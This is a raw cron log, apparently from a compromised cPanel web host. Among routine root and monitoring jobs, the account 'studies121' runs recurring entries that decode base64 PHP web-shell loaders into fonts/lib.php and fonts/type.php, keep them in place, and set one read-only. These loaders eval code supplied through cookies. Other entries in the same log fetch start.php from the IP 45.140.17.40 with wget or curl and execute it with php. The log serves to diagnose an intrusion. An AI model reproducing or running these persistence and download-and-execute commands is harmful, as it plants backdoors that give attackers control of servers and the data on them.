Aug 31 20:56:01 ip-184-168-122-23 CROND[27777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:56:01 ip-184-168-122-23 CROND[27778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:57:01 ip-184-168-122-23 CROND[27897]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:57:01 ip-184-168-122-23 CROND[27898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:57:01 ip-184-168-122-23 CROND[27900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:57:01 ip-184-168-122-23 CROND[27902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:58:01 ip-184-168-122-23 CROND[27985]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:58:01 ip-184-168-122-23 CROND[27987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:58:01 ip-184-168-122-23 CROND[27988]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 20:58:01 ip-184-168-122-23 CROND[27990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:58:01 ip-184-168-122-23 CROND[27991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:59:01 ip-184-168-122-23 CROND[28077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:59:01 ip-184-168-122-23 CROND[28079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 20:59:01 ip-184-168-122-23 CROND[28080]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 20:59:01 ip-184-168-122-23 CROND[28082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:00:01 ip-184-168-122-23 CROND[28242]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 21:00:01 ip-184-168-122-23 CROND[28244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:00:01 ip-184-168-122-23 CROND[28245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:00:01 ip-184-168-122-23 CROND[28249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:00:01 ip-184-168-122-23 CROND[28250]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 21:00:01 ip-184-168-122-23 CROND[28252]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:00:01 ip-184-168-122-23 CROND[28254]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 21:00:01 ip-184-168-122-23 CROND[28259]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 21:01:01 ip-184-168-122-23 CROND[28344]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[28344]: starting 0anacron
Aug 31 21:01:01 ip-184-168-122-23 CROND[28350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:01:01 ip-184-168-122-23 CROND[28357]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 21:01:01 ip-184-168-122-23 CROND[28359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:01:01 ip-184-168-122-23 CROND[28354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:01:01 ip-184-168-122-23 CROND[28356]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[28358]: finished 0anacron
Aug 31 21:02:01 ip-184-168-122-23 CROND[28444]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:02:01 ip-184-168-122-23 CROND[28446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:02:01 ip-184-168-122-23 CROND[28447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:02:01 ip-184-168-122-23 CROND[28448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:02:01 ip-184-168-122-23 CROND[28449]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 21:03:01 ip-184-168-122-23 CROND[28528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:03:01 ip-184-168-122-23 CROND[28530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:03:01 ip-184-168-122-23 CROND[28531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:03:01 ip-184-168-122-23 CROND[28533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:04:01 ip-184-168-122-23 CROND[28609]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:04:01 ip-184-168-122-23 CROND[28611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:04:01 ip-184-168-122-23 CROND[28613]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 21:04:01 ip-184-168-122-23 CROND[28612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:04:01 ip-184-168-122-23 CROND[28614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:05:01 ip-184-168-122-23 CROND[28723]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:05:01 ip-184-168-122-23 CROND[28726]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 21:05:01 ip-184-168-122-23 CROND[28725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:05:01 ip-184-168-122-23 CROND[28727]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 21:05:01 ip-184-168-122-23 CROND[28730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:05:01 ip-184-168-122-23 CROND[28724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:05:01 ip-184-168-122-23 CROND[28729]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 21:06:01 ip-184-168-122-23 CROND[28815]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:06:01 ip-184-168-122-23 CROND[28821]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 21:06:01 ip-184-168-122-23 CROND[28823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:06:01 ip-184-168-122-23 CROND[28822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:06:01 ip-184-168-122-23 CROND[28825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:07:01 ip-184-168-122-23 CROND[28906]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:07:01 ip-184-168-122-23 CROND[28908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:07:01 ip-184-168-122-23 CROND[28910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:07:01 ip-184-168-122-23 CROND[28909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:08:01 ip-184-168-122-23 CROND[29078]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:08:01 ip-184-168-122-23 CROND[29080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:08:01 ip-184-168-122-23 CROND[29081]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
